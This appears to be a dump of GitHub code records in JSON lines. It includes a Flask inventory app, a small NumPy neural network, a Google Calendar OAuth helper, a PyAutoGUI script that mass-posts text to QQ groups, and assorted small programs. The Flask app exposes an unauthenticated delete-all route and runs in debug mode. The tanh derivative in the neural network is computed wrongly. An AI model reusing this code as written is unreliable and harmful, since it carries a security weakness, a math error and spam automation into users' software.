mysql.connection.commit()\r\n else:\r\n \r\n msg=(\"Insufficient quantity..!Quantity available:\")\r\n msg1=(a[0])\r\n \r\n \r\n \r\n\r\n else:\r\n msg=\"No such product in store\"\r\n return render_template('sales.html',msg=msg,msg1=msg1)\r\n \r\n\r\n\r\n\r\n\r\n@app.route('/check',methods =['GET', 'POST']) \r\ndef check():\r\n \r\n if request.method ==\"POST\":\r\n name=request.form['name']\r\n company=request.form['company']\r\n price=request.form['price']\r\n\r\n quan=int(price)\r\n cursor = mysql.connection.cursor()\r\n cursor.execute('select * from products where name=%s and company=%s and price<=%s', ( name,company,quan, )) \r\n record=cursor.fetchall()\r\n if record:\r\n flash(\"Succesful!There are required products in stock!!\")\r\n return render_template('check.html',value=record,)\r\n else:\r\n \r\n cursor = mysql.connection.cursor()\r\n cursor.execute('insert into demand values(%s,%s,%s)', ( name,company,quan))\r\n mysql.connection.commit()\r\n cursor.execute('select * from products where name=%s and price<=%s', ( name,quan, )) \r\n record=cursor.fetchall()\r\n\r\n if record:\r\n flash(\"Search not found! Look for same product of other companies..\")\r\n return render_template('check2.html',value=record)\r\n else:\r\n flash(\"Oops! No results found! Please check for other similar products...\")\r\n cursor = mysql.connection.cursor()\r\n cursor.execute('select id from products where name=%s and company=%s', ( name,company, )) \r\n abc=cursor.fetchone()\r\n if abc:\r\n p=list(abc)\r\n cursor.execute('select substring(%s,1,2)',(p,))\r\n pq=cursor.fetchone()\r\n m=list(pq)\r\n \r\n sc=m[0]\r\n n=sc+\"%\"\r\n \r\n cursor.execute('select * from products where not name=%s and price<=%s and id like %s ',(name,quan,n,))\r\n data2 = cursor.fetchall()\r\n return render_template('check2.html',value=data2,)\r\n else:\r\n flash(\"Sorry! No similar products found too :(\")\r\n return render_template('check2.html')\r\n \r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n \r\n@app.route('/loginemp')\r\ndef loginemp():\r\n \r\n return render_template('loginemp.html')\r\n \r\n \r\n \r\n\r\n \r\n \r\n\r\n\r\n@app.route('/graphnew')\r\ndef graphnew():\r\n \r\n return render_template('graphnew.html')\r\n\r\n\r\n\r\n\r\n\r\n\r\n@app.route('/graph') \r\ndef graph():\r\n cursor=mysql.connection.cursor()\r\n cursor.execute('select max(floor(salespercent)) from tabulars group by name')\r\n record=cursor.fetchall()\r\n print(record)\r\n m=list(record)\r\n cursor.execute('select name from tabulars')\r\n record2=cursor.fetchall()\r\n n=list(record2)\r\n\r\n \r\n return render_template('graph.html',value=m,value2=n)\r\n\r\n\r\n@app.route('/category') \r\ndef category(): \r\n \r\n return render_template('category.html') \r\n \r\n \r\n\r\n\r\n@app.route('/complaints') \r\ndef complaints():\r\n cursor = mysql.connection.cursor()\r\n cursor.execute(\"select * from feedbacks\")\r\n data = cursor.fetchall()\r\n return render_template('complaints.html',value=data) \r\n\r\n\r\n\r\n\r\n\r\n\r\n@app.route('/home') \r\ndef home(): \r\n \r\n \r\n return render_template('home.html') \r\n\r\n\r\n@app.route('/product') \r\ndef product(): \r\n \r\n return render_template('product.html') \r\n\r\n\r\n@app.route('/sales') \r\ndef sales(): \r\n \r\n return render_template('sales.html') \r\n\r\n\r\n\r\n@app.route('/feedback', methods =['GET', 'POST']) \r\ndef feedback(): \r\n\r\n msg=''\r\n if request.method ==\"POST\":\r\n name=request.form['name']\r\n company=request.form['company']\r\n complaints=request.form['complaints']\r\n \r\n cursor = mysql.connection.cursor() \r\n cursor.execute(\"\"\"insert into feedbacks(name,company,complaints) values(%s, %s, %s)\"\"\",( name, company, complaints,))\r\n msg=\"Thank you for your review :)\"\r\n mysql.connection.commit()\r\n\r\n \r\n return render_template('feedback.html',msg=msg) \r\n\r\n\r\n@app.route('/tabular') \r\ndef tabular():\r\n cursor = mysql.connection.cursor()\r\n cursor.execute('select * from tabulars') \r\n record=cursor.fetchall()\r\n return render_template('tabular.html',value=record) \r\n\r\n\r\n@app.route('/delete')\r\ndef deleteall():\r\n cursor=mysql.connection.cursor()\r\n cursor.execute('delete from feedbacks')\r\n mysql.connection.commit()\r\n flash(\"deleted successfully\")\r\n return render_template('feedback.html')\r\n\r\n\r\n@app.route('/analysis') \r\ndef analysis(): \r\n \r\n return render_template('analysis.html') \r\n\r\n\r\n\r\n\r\n\r\n@app.route('/homeapp') \r\ndef ha():\r\n cursor = mysql.connection.cursor()\r\n strs=\"HA%\"\r\n cursor.execute(\"select * from products where id like %s\",(strs,))\r\n data = cursor.fetchall()\r\n return render_template('homeapp.html',value=data) \r\n\r\n\r\n@app.route('/electronic') \r\ndef electronic(): \r\n cursor = mysql.connection.cursor()\r\n strs=\"ED%\"\r\n cursor.execute(\"select * from products where id like %s\",(strs,))\r\n data = cursor.fetchall()\r\n return render_template('electronicdevice.html',value=data) \r\n\r\n\r\n@app.route('/Kitchen') \r\ndef kitchen(): \r\n cursor = mysql.connection.cursor()\r\n strs=\"KA%\"\r\n cursor.execute(\"select * from products where id like %s\",(strs,))\r\n data = cursor.fetchall()\r\n return render_template('kitchenapplainces.html',value=data) \r\n\r\n\r\n\r\n\r\n\r\n@app.route('/funiture') \r\ndef furniture(): \r\n cursor = mysql.connection.cursor()\r\n strs=\"FA%\"\r\n cursor.execute(\"select * from products where id like %s\",(strs,))\r\n data = cursor.fetchall()\r\n return render_template('furniture.html',value=data)\r\n \r\n \r\n\r\n@app.route('/beauty') \r\ndef la(): \r\n cursor = mysql.connection.cursor()\r\n strs=\"BP%\"\r\n cursor.execute(\"select * from products where id like %s\",(strs,))\r\n data = cursor.fetchall()\r\n return render_template('beautyproduct.html',value=data)\r\n \r\n \r\n\r\n\r\n@app.route('/bags') \r\ndef ma(): \r\n cursor = mysql.connection.cursor()\r\n strs=\"BA%\"\r\n cursor.execute(\"select * from products where id like %s\",(strs,))\r\n data = cursor.fetchall()\r\n return render_template('bags.html',value=data)\r\n\r\n\r\n@app.route('/demand') \r\ndef demand(): \r\n cursor = mysql.connection.cursor()\r\n \r\n cursor.execute(\"select * from demand\")\r\n data = cursor.fetchall()\r\n return render_template('demand.html',value=data)\r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nif (__name__)=='__main__':\r\n app.run(debug=True)\r\n","repo_name":"Swapnank77/Product-analysis-and-management-system","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"31906206316","text":"\n# coding: utf-8\n\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom sklearn.metrics import roc_auc_score\n\ndef sigmoid(x):\n \"\"\" sigmoid activation function \"\"\"\n return 1 / (1 + np.exp(-x))\n\ndef tanh_prime(x):\n \"\"\" derivative of the tanh function \"\"\"\n return 1 - np.tanh(x)\n\ndef train(X, Y, W1, W2, b1, b2):\n \"\"\" training function with both forward propagation and backward propagation \"\"\"\n\n loss_history = []\n \n for epoch in range(epochs):\n\n # Forward propagation\n Z1 = np.add(np.dot(W1, X), b1)\n A1 = np.tanh(Z1)\n Z2 = np.add(np.dot(W2, A1), b2) \n A2 = sigmoid(Z2)\n \n # Backward propagation\n dZ2 = A2 - Y\n dW2 = (1/m) * np.dot(dZ2, A1.T)\n db2 = (1/m) * np.sum(dZ2, axis=1, keepdims=True)\n\n dZ1 = np.multiply(np.dot(W2.T, dZ2), tanh_prime(Z1))\n dW1 = 1/m * np.dot(dZ1, X.T)\n db1 = 1/m * np.sum(dZ1, axis=1, keepdims=True)\n \n # Parameter update\n W1 = W1 - alpha * dW1\n b1 = b1 - alpha * db1\n W2 = W2 - alpha * dW2\n b2 = b2 - alpha * db2\n \n # Compute loss\n loss = np.mean(-np.add(np.multiply(Y,np.log(A2)),np.multiply(np.subtract(1, Y),np.log(np.subtract(1, A2)))))\n loss_history.append(loss)\n \n return loss_history, W1, W2, b1, b2\n\n# loss_history, W1, W2, b1, b2 = train(X, Y, W1, W2, b1, b2)\n\ndef display(loss_history):\n\n plt.plot(loss_history)\n plt.show()\n print(loss_history[-1])\n\ndef predict(X, W1, W2, b1, b2):\n \n Z1 = np.add(np.dot(W1, X), b1)\n A1 = np.tanh(Z1)\n Z2 = np.add(np.dot(W2, A1), b2) \n A2 = sigmoid(Z2)\n \n return np.array([0 if elt < 0.5 else 1 for elt in A2])\n \ndef test(W1, W2, b1, b2): \n X = np.random.binomial(1, 0.5, (n_in,1))\n Y = X ^ 1\n Yhat = predict(X, W1, W2, b1, b2)\n return Y.T[0], Yhat.T\n\ndef check_perf(W1, W2, b1, b2):\n \n list_test = []\n for i in range(25):\n Y, Yhat = test(W1, W2, b1, b2)\n list_test.append(roc_auc_score(Y, Yhat))\n \n print(list_test)\n\nif __name__ == \"__main__\":\n # var init\n # Num of neurones on each layers\n n_in = 10\n n_hidden = 100\n n_out = 10\n\n # Nb de 'training examples'\n m = 300\n\n alpha = 0.8 # Learning rate\n epochs = 500 # nb iterations du gradient descent\n\n # initialization of weigths and biaises\n W1 = np.random.randn(n_hidden, n_in) * 0.01 \n W2 = np.random.randn(n_out, n_hidden) * 0.01 \n b1 = np.zeros((n_hidden, 1))\n b2 = np.zeros((n_out, 1))\n\n # Data generation\n X = np.random.binomial(1, 0.5, (n_in, m))\n Y = X ^ 1\n\n loss_history, W1, W2, b1, b2 = train(X, Y, W1, W2, b1, b2)\n check_perf(W1, W2, b1, b2)\n","repo_name":"Jaahd/Ateliers_ML_NN","sub_path":"Neural_Network.py","file_name":"Neural_Network.py","file_ext":"py","file_size_in_byte":2722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"26986196316","text":"from __future__ import print_function\n\nimport datetime\nimport os.path\n\nfrom googleapiclient.discovery import build\nfrom google.auth.transport.requests import Request\nfrom google.oauth2.credentials import Credentials\nfrom google_auth_oauthlib.flow import InstalledAppFlow\n\nall_events = []\nSCOPES = ['https://www.googleapis.com/auth/calendar']\n\nauth_url = 'https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=759569633564' \\\n '-q85sfhj5q0mfrolot0s9q0aodp6vdb85.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A57514' \\\n '%2F&scope=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcalendar.readonly&state' \\\n '=0Z2RJ0fKTeyINcmaFqqQeHobMsFmiZ&access_type=offline '\n\n\ndef main():\n creds = None\n if os.path.exists('token.json'):\n creds = Credentials.from_authorized_user_file('token.json', SCOPES)\n if not creds or not creds.valid:\n if creds and creds.expired and creds.refresh_token:\n creds.refresh(Request())\n else:\n flow = InstalledAppFlow.from_client_secrets_file('credentials.json', SCOPES)\n creds = flow.run_local_server(port=0)\n with open('token.json', 'w') as token:\n token.write(creds.to_json())\n return creds\n\nif __name__ == '__main__':\n main()\n\n\n","repo_name":"OwenTheEpicGamer/YRHacks2022","sub_path":"GoogleCalendar/cal.py","file_name":"cal.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7636383491","text":"import enum\n\nfrom pydantic import BaseModel\n\nfrom .session_description import SessionDescription\n\n\nclass CodecType(str, enum.Enum):\n vp8 = \"vp8\"\n vp9 = \"vp9\"\n openh264 = \"openh264\"\n x264 = \"x264\"\n\n\nclass Codec(BaseModel):\n type: str\n bitrate: int\n\n\nclass OfferApp(BaseModel):\n name: str\n\n\nclass Offer(SessionDescription):\n app: OfferApp\n codec: Codec\n","repo_name":"openstadia/openstadia-hub","sub_path":"openstadia_hub/schemas/offer.py","file_name":"offer.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37248610800","text":"import os\nimport random\nimport sys\n\nfrom Grid import *\n\n\nif __name__ == '__main__':\n initialFlag = True\n gridObject = Grid()\n try:\n size = int(sys.argv[1])\n except Exception as e:\n print(e)\n print(\"Wrong input please enter a number from 2,4,6 as grid size\")\n exit(0)\n\n if size != 2 and size != 4 and size != 6:\n print(\"Wrong input please enter a number from 2,4,6 as grid size\")\n exit(0)\n\n while True:\n\n gridObject.menuSkeleton(size, initialFlag)\n try:\n initialFlag = False\n choice = int(input(\"Select: \"))\n\n except:\n print(\"Wrong input\")\n continue\n\n if choice == 1:\n gridObject.switchOption1()\n continue\n\n elif choice == 2:\n gridObject.switchOption2()\n continue\n\n elif choice == 3:\n gridObject.switchOption3(initialFlag)\n exit(0)\n\n elif choice == 4:\n os.system(\"clear\")\n initialFlag = True\n continue\n\n elif choice == 5:\n print(\"Thanks for playing\")\n exit(0)\n\n else:\n print(\"Please enter a valid option between 1 to 4\")\n print()\n","repo_name":"konark2010/PEEK-A-BOO","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":1239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18932070094","text":"class Calculator: \r\n def __init__(self, operand1 = 0, operand2 = 0, operator = \"\"):\r\n self.operand1 = operand1\r\n self.operand2 = operand2\r\n self.operator = operator\r\n self.log = []\r\n\r\n def calculate(self, x, y, z):\r\n self.operand1 = x\r\n self.operand2 = y \r\n self.operator = z\r\n\r\n if self.operator == '+':\r\n result = self.operand1 + self.operand2\r\n elif self.operator == '*':\r\n result = self.operand1 * self.operand2\r\n elif self.operator == '/':\r\n result = self.operand1 / self.operand2\r\n elif self.operator == '-':\r\n result = self.operand1 - self.operand2\r\n \r\n self.log.insert(len(self.log), f'{self.operand1} {self.operator} {self.operand2} = {result}')\r\n return result\r\n\r\n def get_log(self):\r\n return self.log\r\n\r\n def get_last_logged(self):\r\n return self.log[len(self.log)-1]\r\n\r\n def clear_log(self):\r\n self.log = []\r\n\r\ndef main():\r\n if __name__ == \"__main__\":\r\n calculator = Calculator()\r\n calculator.calculate(1, 2,'+')\r\n calculator.calculate(2, 2,'*')\r\n calculator.calculate(16, 2,'/')\r\n print(calculator.get_log())\r\n print(calculator.get_last_logged())\r\n\r\nmain()","repo_name":"kristofferp95/Arbeidskrav-og-eksamen","sub_path":"Calculator.py","file_name":"Calculator.py","file_ext":"py","file_size_in_byte":1292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"17147136733","text":"import os\nimport collections\n\ndef zhan(path):\n filelist = os.listdir(path)\n for filename in filelist:\n fileabs = os.path.join(path,filename)\n if os.path.isdir(fileabs):\n print(\"目录: \",fileabs)\n zhan(fileabs)\n else:\n print(\"普通文件: \",fileabs)\n\n\n\nzhan(r\"C:\\Users\\Administrator\\Desktop\")\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"songzi00/python","sub_path":"Pro/进阶/02递归与时间模块/lianxi.py","file_name":"lianxi.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"741838088","text":"from sqlalchemy.dialects.postgresql import UUID\r\nfrom sqlalchemy import Boolean, Column, ForeignKey, Integer, String, Float, DateTime, MetaData\r\nfrom sqlalchemy.orm import relationship, declarative_base\r\nfrom uuid import uuid4\r\n\r\nmetadate_obj = MetaData(schema=\"CCC\")\r\n\r\nBase = declarative_base(metadata=metadate_obj)\r\n\r\n\r\nclass Admin(Base):\r\n __tablename__ = \"admin\"\r\n\r\n id = Column(Integer, primary_key=True, index=True)\r\n emailAddress = Column(String)\r\n username = Column(String)\r\n password = Column(String)\r\n\r\n\r\nclass ClimateMeasure(Base):\r\n __tablename__ = \"climate_measure\"\r\n\r\n id = Column(Integer, primary_key=True, index=True)\r\n sku = Column(String, index=True)\r\n carsOffRoad = Column(Float, nullable=True)\r\n fightingFoodWaste = Column(Float, nullable=True)\r\n waterSaved = Column(Float, nullable=True)\r\n landUse = Column(Float, nullable=True)\r\n cholesterolSaved = Column(Float, nullable=True)\r\n\r\n\r\nclass ClimateMeasureAudit(Base):\r\n __tablename__ = \"climate_measure_audit\"\r\n\r\n id = Column(Integer, primary_key=True, index=True)\r\n sku = Column(String, index=True)\r\n createdDateTime = Column(DateTime)\r\n createdBy = Column(String)\r\n lastModifiedDateTime = Column(DateTime, nullable=True)\r\n lastModifiedBy = Column(DateTime, nullable=True)\r\n\r\n\r\nclass AffiliateStatus(Base):\r\n __tablename__ = \"affiliate_status\"\r\n\r\n id = Column(UUID(as_uuid=True), nullable=False, unique=True, primary_key=True, default=uuid4)\r\n status =Column(String, nullable=False, unique=True)\r\n\r\n\r\nclass Affiliate(Base):\r\n __tablename__ = \"affiliate\"\r\n\r\n id = Column(Integer, primary_key=True)\r\n promoCode = Column(String, nullable=True, unique=True)\r\n statusId = Column(UUID(as_uuid=True), ForeignKey(\"affiliate_status.id\"), default=uuid4)\r\n organizationName = Column(String)\r\n emailAddress = Column(String, nullable=False, unique=True)\r\n\r\n affiliateStatus = relationship(\"AffiliateStatus\")\r\n affiliateClimateChangeImpact = relationship(\"AffiliateClimateChangeImpact\", back_populates=\"affiliate\", uselist=False)\r\n\r\n\r\nclass AffiliateClimateChangeImpact(Base):\r\n __tablename__ = \"affiliate_climate_change_impact\"\r\n\r\n id = Column(Integer, primary_key=True)\r\n promoCode = Column(String, ForeignKey(\"affiliate.promoCode\"), nullable=False, unique=True)\r\n totalCarsOffRoad = Column(Float, nullable=True)\r\n totalFightingFoodWaste = Column(Float, nullable=True)\r\n totalWaterSaved = Column(Float, nullable=True)\r\n totalLandUse = Column(Float, nullable=True)\r\n totalCholesterolSaved = Column(Float, nullable=True)\r\n\r\n affiliate = relationship(\"Affiliate\", back_populates=\"affiliateClimateChangeImpact\")\r\n","repo_name":"yuripacific17/ulivit-backend","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"10952147346","text":"'Integrate the \"tabnanny\" module as a quality judge'\n\nfrom __future__ import absolute_import\n\nimport quality.liason\n\nimport os\nimport tabnanny\n\n@quality.liason.capture_output\ndef run_tabnanny(src_file):\n 'Dispatch to tabnanny'\n tabnanny.check(src_file)\n \nclass TabnannyJudge(quality.liason.OutputCollectingJudge):\n def __init__(self):\n super(TabnannyJudge, self).__init__('tabnanny', run_tabnanny)\n\n def __call__(self, contestant):\n '''\n Return 1 if the Contestant contains with indentation errors, or 0 otherwise.\n\n Tabnanny works on a per-file basis; because indentation analysis is \n context-sensitive, it's impossible to validate individual Contestants\n (functions or classes). Therefore, every Contestant in a module receives\n the same score.\n '''\n fobj = self[contestant.src_file]\n fobj.seek(0, os.SEEK_END)\n return 1 if fobj.tell() else 0","repo_name":"marmida/quality","sub_path":"quality/tabnanny.py","file_name":"tabnanny.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"3866889017","text":"import dash\r\nfrom dash.dependencies import Input, Output\r\nimport dash_html_components as html\r\nfrom pyvis.network import Network\r\nimport pandas as pd\r\n\r\n# Your network generation code as a function\r\ndef generate_graph():\r\n got_net = Network(height=\"750px\", width=\"100%\", bgcolor=\"white\", font_color=\"#222222\")\r\n\r\n # set the physics layout of the network\r\n got_net.barnes_hut(spring_length=30, spring_strength=0.5, central_gravity=0.1, damping=0.40)\r\n\r\n got_data = pd.read_csv(\"\\\\Users\\dambe\\Downloads\\stormofswords.csv\")\r\n\r\n got_data = got_data.iloc[:30]\r\n sources = got_data['Source']\r\n targets = got_data['Target']\r\n weights = got_data['Weight']\r\n\r\n edge_data = zip(sources, targets, weights)\r\n website_url = \"https://www.google.com\"\r\n\r\n for e in edge_data:\r\n src = e[0]\r\n dst = e[1]\r\n w = e[2]\r\n\r\n # Define node color attributes\r\n node_color = {\r\n \"background\": \"#00aeef\", \r\n \"border\": \"#00395d\", \r\n \"highlight\": { \r\n \"background\": \"blue\", \r\n \"border\": \"dark blue\"\r\n },\r\n \"hover\": { \r\n \"background\": \"lightyellow\", \r\n \"border\": \"orange\"\r\n }\r\n }\r\n\r\n # Adding nodes with large labels inside bigger ellipses and custom colors.\r\n got_net.add_node(src, label=src, title=f'{src}', font={\"size\": 200, \"face\": \"arial\"}, shape=\"ellipse\", size=300, color=node_color)\r\n got_net.add_node(dst, label=dst, title=f'{src}', font={\"size\": 200, \"face\": \"arial\"}, shape=\"ellipse\", size=300, color=node_color)\r\n got_net.add_edge(src, dst, value=w)\r\n\r\n neighbor_map = got_net.get_adj_list()\r\n\r\n # add neighbor data to node hover data\r\n for node in got_net.nodes:\r\n node[\"title\"] += \" Neighbors:
    \" + \"
    \".join(neighbor_map[node[\"id\"]])\r\n node[\"value\"] = len(neighbor_map[node[\"id\"]])\r\n\r\n got_net.save_graph(\"gameofthrones.html\")\r\n\r\n# Initialize the Dash app\r\napp = dash.Dash(__name__)\r\n\r\n# Define the app layout\r\napp.layout = html.Div([\r\n html.H1(\"Game of Thrones Network Graph\"),\r\n\r\n # Button to trigger the re-rendering\r\n html.Button(\"Regenerate Graph\", id=\"regenerate-button\"),\r\n\r\n # Iframe to display the graph\r\n html.Iframe(id=\"graph-iframe\", width=\"100%\", height=\"800px\")\r\n])\r\n\r\n# Callback to re-render the graph\r\n@app.callback(\r\n Output(\"graph-iframe\", \"srcDoc\"),\r\n Input(\"regenerate-button\", \"n_clicks\")\r\n)\r\ndef update_graph(n_clicks):\r\n if n_clicks:\r\n generate_graph()\r\n return open(\"gameofthrones.html\", \"r\").read()\r\n return dash.no_update\r\n\r\n# Run the app\r\nif __name__ == '__main__':\r\n app.run_server(debug=True)\r\n\r\n\r\n# Run the app\r\nif __name__ == '__main__':\r\n app.run_server(debug=True)\r\n","repo_name":"dambertrand1/test8vrac","sub_path":"dash2.py","file_name":"dash2.py","file_ext":"py","file_size_in_byte":2881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"28947539871","text":"# -*- coding: utf-8 -*\nimport qqbot\nimport requests\nimport bs4\nimport time\nimport pyautogui\nimport pyperclip\n\n\n##SentQQ\n# class QQ(object):\n# def __init__(self):\n# self.qqnumber = '345681007'\n# self.message = '信息自动推送功能test!!!'\n# self.groupname = ['坚果日报内部群']\n# self.bot = qqbot._bot\n#\n# def sendMsgToGroup(self, msg, group, bot):\n# for group in group:\n# bg = bot.List('group', group)\n# if bg is not None:\n# bot.SendTo(bg[0], msg)\n#\n# def main(self):\n# self.bot.Login(['-q', self.qqnumber])\n# self.sendMsgToGroup(self.message, self.groupname, self.bot)\n\n\n##爬取数据\n# class GetData(object):\n# def __init__(self):\n# self.rooturl = 'https://www.xxxx.com'\n# self.url = self.rooturl + '/ah/20?lang=1'\n# self.headers = {\n# 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36'}\n#\n# def getdata(self):\n# response = requests.get(self.url, headers=self.headers)\n# if int(response.status_code) == 200:\n# htmldata = bs4.BeautifulSoup(response.text, 'html.parser')\n# blognumber = 0\n# result = \"[%s] 技术文章推荐: \\n \\n\" % (time.strftime('%Y-%m-%d', time.localtime(time.time())))\n# for k in htmldata.find_all('a'):\n# if blognumber <= 10:\n# try:\n# if k['title'] != '':\n# blogurl = self.rooturl + str(k['href'])\n# blogtitle = str(k['title'])\n# bloginfo = \"%d.[%s] \\n %s \\n\" % (blognumber, blogtitle, blogurl)\n# result = result + bloginfo\n# blognumber += 1\n# except:\n# pass\n#\n# return result\n\n#流程:自动识别搜索位置,鼠标定位,从QQ群号遍历,输入第一个QQ群号513732983,鼠标下移固定尺寸,鼠标双击,粘��文本,输入(ctrl+enter),选取关闭;回到搜索位置,继续后续操作,制止遍历完\n# pyautogui.moveTo(600,600,duration=0.5)\nif __name__ == '__main__':\n pyautogui.PAUSE =1\n pyautogui.FAILSAFE = True\n f = open('QQ.txt')\n content=f.read()\n QQGroup=['群聊1','群聊2','群聊3','群聊4','sadasdas哈哈'] #必须保证第一个群是能被查到的\n falseGroup=[]\n SuccessGroup=[]\n mouseX_guanbi=960 #给关闭按钮随便先给个数\n mouseY_guanbi =540 #给关闭按钮随便先给个数\n mouseY_chat=540 #给关闭按钮随便先给个数\n print('程序开始了,你有3S的时间将QQ显示在首页,按 ctrl+c 退出')\n time.sleep(3)\n print('3S准备时间已到,程序开始执行')\n index=0\n for item in QQGroup:\n result=pyautogui.locateCenterOnScreen('图像识别/不变定位.png') #编辑个性签名不会变,搜索框(y+43),第一个结果选项(y+119)\n mouseX=result[0]\n mouseY=result[1]\n mouseY1 = mouseY+43 #搜索框Y值\n mouseY2 = mouseY+110 # 查询结果Y值\n pyperclip.copy(item)\n pyautogui.doubleClick(mouseX,mouseY1,button='left')\n pyautogui.hotkey('delete')\n pyautogui.hotkey('ctrl', 'v')\n print('已点击搜索框,并输入第一个群号'+str(item))\n pyautogui.doubleClick(mouseX, mouseY2, button='left') # 双击搜索结果\n if index==0:\n result = pyautogui.locateCenterOnScreen('图像识别/聊天框关闭按钮.png')#以第一个关闭为标准\n mouseX_guanbi = result[0]\n mouseY_guanbi = result[1]\n mouseY_chat = result[1] - 40\n pyperclip.copy(content)\n pyautogui.click(mouseX_guanbi, mouseY_chat, button='left')\n pyautogui.hotkey('ctrl', 'v')\n pyautogui.hotkey('ctrl', 'enter')\n pyautogui.click(mouseX_guanbi, mouseY_guanbi, button='left')\n pyautogui.hotkey('enter') # 防止有些群设置禁言\n print('已发送消息,群号为' + item)\n SuccessGroup.append(item)\n index=index+1\n print('一共发送'+str(len(SuccessGroup))+'个群');print(str(SuccessGroup))\n print('循环已结束')\n\n\n\n\n\n","repo_name":"qtianwai/Pythoon_pactice","sub_path":"practice/PR7_定时给QQ群发消息/用GUI控制QQ.py","file_name":"用GUI控制QQ.py","file_ext":"py","file_size_in_byte":4336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8002936252","text":"import models.blocks as B\nimport torch\nimport torch.nn as nn\n\n\nclass PatchD70(nn.Module):\n\n def __init__(self, act_type='lrelu'):\n super(PatchD70, self).__init__()\n\n self.C64 = B.conv_block(in_nc=6, out_nc=64, \\\n kernel_size=4, stride=2, padding=1, dilation=1, \\\n bias=True, groups=1, norm_type=None, act_type=act_type)\n\n self.C128 = B.conv_block(in_nc=64, out_nc=128, \\\n kernel_size=4, stride=2, padding=1, dilation=1, \\\n bias=True, groups=1, norm_type='instance', act_type=act_type)\n\n self.C256 = B.conv_block(in_nc=128, out_nc=256, \\\n kernel_size=4, stride=2, padding=1, dilation=1, \\\n bias=True, groups=1, norm_type='instance', act_type=act_type)\n\n self.C512a = B.conv_block(in_nc=256, out_nc=512, \\\n kernel_size=4, stride=2, padding=1, dilation=1, \\\n bias=True, groups=1, norm_type='instance', act_type=act_type)\n self.C512b = B.conv_block(in_nc=512, out_nc=512, \\\n kernel_size=4, stride=1, padding=1, dilation=1, \\\n bias=True, groups=1, norm_type='instance', act_type=act_type)\n self.Cout = B.conv_block(in_nc=512, out_nc=1, \\\n kernel_size=4, stride=1, padding=1, dilation=1, \\\n bias=True, groups=1, norm_type=None, act_type=None)\n\n def forward(self, image, cond):\n\n x = torch.cat([image, cond], 1)\n\n x = self.C64(x)\n x = self.C128(x)\n x = self.C256(x)\n x = self.C512a(x)\n x = self.C512b(x)\n x = self.Cout(x)\n out = torch.sigmoid(x)\n\n return out\n","repo_name":"TheZino/Laplacian-Encoder-Decoder-Raindrop-Removal","sub_path":"source/models/PatchGAN.py","file_name":"PatchGAN.py","file_ext":"py","file_size_in_byte":1698,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"29174207347","text":"from infra.unbound.instance import UnboundInstance\n\nimport yp.tests.helpers.conftest as yp_conftest\n\nimport yt.wrapper as yt\n\nfrom yatest.common import network\nimport yatest.common\n\nimport logging\nimport pytest\n\n\nlogging.basicConfig(level=logging.DEBUG)\n\n\nDEFAULT_UNBOUND_CONFIG = {\n \"server\": {\n \"chroot\": \"\",\n \"directory\": \"\",\n \"verbosity\": 5,\n \"log-time-ascii\": True,\n \"log-local-actions\": True,\n \"log-queries\": True,\n \"log-replies\": True,\n \"log-tag-queryreply\": True,\n \"log-servfail\": True,\n \"do-not-query-localhost\": False,\n },\n \"remote-control\": {\n \"control-enable\": True,\n \"control-use-cert\": False,\n },\n}\n\nDEFAULT_YP_DNS_CONFIG = {\n \"LoggerConfig\": {\n \"Path\": \"current-eventlog\",\n \"Level\": \"DEBUG\",\n },\n \"BackupLoggerConfig\": {\n \"Path\": \"current-replica-eventlog\",\n \"Level\": \"DEBUG\",\n },\n \"ConfigUpdatesLoggerConfig\": {\n \"Path\": \"current-config-updates-eventlog\",\n \"Level\": \"DEBUG\",\n },\n \"DynamicZonesConfig\": {\n \"Enabled\": True,\n \"ReplicaLoggerConfig\": {\n \"Path\": \"current-replica-dns-zones-eventlog\",\n \"Level\": \"DEBUG\",\n },\n \"YPReplicaConfig\": {\n \"StorageConfig\": {\n \"ValidationConfig\": {\"MaxAge\": \"86400s\"},\n \"Path\": \"dns_zones_storage\",\n \"EnableCache\": True,\n \"AgeAlertThreshold\": \"60s\",\n },\n \"BackupConfig\": {\n \"Path\": \"dns_zones_backup\",\n \"BackupFrequency\": \"300s\",\n \"BackupLogFiles\": False,\n \"MaxBackupsNumber\": 5,\n },\n \"UseCache\": True,\n \"ChunkSize\": 2000,\n \"GetUpdatesMode\": \"WATCH_UPDATES\",\n 